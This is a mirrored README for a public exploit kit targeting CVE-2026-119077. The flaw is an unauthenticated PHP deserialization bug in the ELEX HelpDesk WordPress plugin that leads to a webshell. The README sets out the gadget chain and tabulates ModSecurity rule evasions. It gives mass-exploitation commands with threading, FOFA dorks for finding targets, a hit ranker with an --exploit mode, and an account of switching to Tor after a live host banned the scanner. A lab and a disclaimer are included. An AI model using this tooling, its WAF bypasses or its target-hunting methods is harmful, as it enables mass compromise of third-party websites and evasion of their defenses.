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CVE-2026-119077 — PoC and exploit tooling for CVE-2026-119077: unauthenticated PHP object injection to RCE in ELEX HelpDesk, with ModSecurity CRS bypass, FOFA dorks, and a Docker lab. | Kitploit
ツール/GitHubGitHub/im0xfay/cve-2026-119077
ReconnaissancePayload GenerationVulnerability AnalysisExploitationWeb Application ExploitationWAF BypassWeb SecurityPenetration TestingLabs & Practice
GitHubim0xfay/cve-2026-119077

CVE-2026-119077

PoC and exploit tooling for CVE-2026-119077: unauthenticated PHP object injection to RCE in ELEX HelpDesk, with ModSecurity CRS bypass, FOFA dorks, and a Docker lab.

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要求された言語のコンテンツは利用できません。英語版を表示しています。

CVE-2026-119077 — ELEX HelpDesk & Customer Support Ticket System ≤ 3.3.9

Unauthenticated PHP Object Injection → Remote Code Execution

A single anonymous GET (to harvest the nonce) plus a single anonymous POST reaches file_put_contents() through an unserialization sink and writes an attacker-controlled PHP file into wp-content/uploads/ → webshell.

  • Affected: elex-helpdesk-customer-support-ticket-system ≤ 3.3.9
  • Fixed in: 3.4.0 (2026-11-12) — adds eh_crm_has_object_or_serialized_object() / eh_crm_safe_unserialize() in front of 26 sinks
  • Type: CWE-502 Deserialization of Untrusted Data
  • Auth required: none
  • Lab status: verified end to end (3×), patched build confirmed negative
  • WAF status: bypass validated against ModSecurity CRS 4.30.0 (see below)

Root cause

admin-ajax.php?action=eh_crm_new_ticket_post is registered with wp_ajax_nopriv_ (includes/class-crm-init-handler.php:51), so anonymous users reach CRM_Ajax_Two::eh_crm_new_ticket_post(). The handler contains the CSRF nonce publicly (support_object JS object on any page rendering [wsdesk_support]), parses form with parse_str(), stores allowlisted field values as ticket meta, then the auto-email path calls eh_crm_get_ticketmeta() → unserialize() without allowed_classes (includes/class-crm-public-functions.php:875). A serialized GuzzleHttp\Cookie\FileCookieJar (bundled in the plugin's own vendor/) is rebuilt and its __destruct() → save() → file_put_contents() writes the payload.

Guzzle writes a JSON array wrapper, but PHP executes any <?php ?> block inside a file regardless of surrounding text — so the written file is a working webshell. The PHP payload therefore must not contain a double quote.

Prerequisite that dorks miss

The injection key must be an allowlisted custom-field slug (wsdesk_settings.type='field'). In 3.3.9 the three default slugs are unset() and removed by the allowlist — a clean 3.3.9 install with only default fields is NOT exploitable. (The ticket_label key that some advisories name only works on 3.3.8, which has no allowlist.) Custom-field slugs are discoverable unauthenticated via action=eh_crm_new_ticket_form.

Usage

python3 poc.py                                   # interactive menu (default entry point)
python3 poc.py -u https://target --exploit       # single target
python3 poc.py -l targets.txt --exploit --threads 20
python3 poc.py -u https://target --exploit --waf   # force the WAF-bypass strategy

python3 poc.py with no arguments opens the operator menu: 1 single scan · 2 single exploit · 3 mass scan · 4 mass exploit · 0 exit.

Build detection — one request, no custom field needed

The 3.4.0 fix runs its object guard over every parsed form value, before the custom-field allowlist. So one POST with a throwaway key distinguishes the builds:

ResponseMeaning
{"status":"error","message":"Invalid form data."}PATCHED (≥3.4.0)
{"status":"success",...}vulnerable (guard absent)

poc.py runs this as BuildGuardStage right after nonce discovery, so a fixed target is reported [PATCHED] rather than a misleading ASSUMED. tools_verify_hits.py uses the same oracle.

WAF bypass (validated)

Measured against owasp/modsecurity-crs:apache (CRS 4.30.0, paranoia 1, inbound threshold 5). The plain payload fires three independent rules — each scores 5 = the threshold, so the score cannot be split; every trigger must be removed:

RuleTriggerBypass
920270literal NUL in private-property namesserialize in PHP S: escape form (\00 on the wire; unserialize() still rebuilds NUL) — requires PHP ≥ 7.0
930120phrase var/wwwrelative write path ../wp-content/uploads/x.php (resolved against the handler CWD)
933130phrase $_GETPHP body with no superglobal literal: passthru(base64_decode('aWQ='))

_write_shell_waf runs automatically when the plain strategy is rejected (--waf forces it first). Result through the WAF: HTTP 200, then uid=33(www-data) fetched from the same WAF-fronted origin, 3/3 stable. The 3.4.0 guard rejects this payload too, so the bypass does not resurrect the bug on patched builds.

FOFA targeting

DORKS.md holds fingerprints verified against real rendered HTML: /wp-content/plugins/elex-helpdesk-customer-support-ticket-system/, support_object (the nonce loader), crm_support.js, wsdesk_bootstrap. Pair a plugin-presence dork with tools_verify_hits.py, which ranks hosts by the real prerequisites (EXPLOITABLE-SHAPE / NO-FIELD / PATCHED / NO-SIGNAL) instead of trusting a hit.

python3 tools_verify_hits.py -l hits.txt                          # rank
python3 tools_verify_hits.py -l hits.txt --exploit                # rank + exploit
python3 tools_verify_hits.py -l hits.txt --proxy socks5h://127.0.0.1:9050

Lab

The plugin builds are not committed. lab/setup-plugins.sh downloads the two official zips from downloads.wordpress.org (3.3.9 vulnerable / 3.4.0 patched).

./lab/setup-plugins.sh
docker compose -f lab/docker-compose.yml up -d          # WordPress on 127.0.0.1:8137
docker compose -f lab/docker-compose.yml up -d waf      # + ModSecurity on 127.0.0.1:8187
# then install WP + activate the plugin + create a [wsdesk_support] page + one custom field

To exercise the negative control, switch the compose volume from ./plugins/vuln to ./plugins/patched — the tool must then report [PATCHED].

Layout

poc.py                  main tool (menu-first, threading, honest tags, results.jsonl + success.txt)
wsdesk_payload.py       FileCookieJar gadget generator (standard + S-format/WAF variant)
tools_verify_hits.py    FOFA hit verifier / ranker (build oracle, slug oracle, --proxy)
DORKS.md                verified FOFA fingerprints + tiered dorks
CVE-2026-119077-report.md  full report
analysis/               intel, root-cause, chain (failure modes), self-attack, live run, evidence
lab/                    docker-compose.yml + setup-plugins.sh (plugins fetched, not committed)

Evidence

POST /wp-admin/admin-ajax.php   action=eh_crm_new_ticket_post   →  200
GET  /wp-content/uploads/<rand>.php?a=id
     [{"Expires":1,"Discard":false,"Value":"uid=33(www-data) gid=33(www-data) groups=33(www-data)"}]

Reproduced 3/3 direct and 3/3 through the ModSecurity WAF. See analysis/rce-*.txt.

Live validation

analysis/live-run-2026-11-13.md — a real WSDesk install (WordPress 7.1.4, plugin assets present, nonce published publicly) returned {"status":"error","message":"Invalid form data."} for the oracle and {"status":"success",...} for a benign request → PATCHED (≥3.4.0), no RCE. That host IP-banned the scanner after ~15 serialized POSTs (TLS handshake succeeded, connection closed with no HTTP response, port still open) — the run was completed through a Tor SOCKS exit. Prefer the single-request build oracle over slug brute force.

Disclaimer

For authorized security testing and research only. The lab is self-contained; only test systems you own or have explicit permission to assess.

Credits

Research and tooling: 0xfay.

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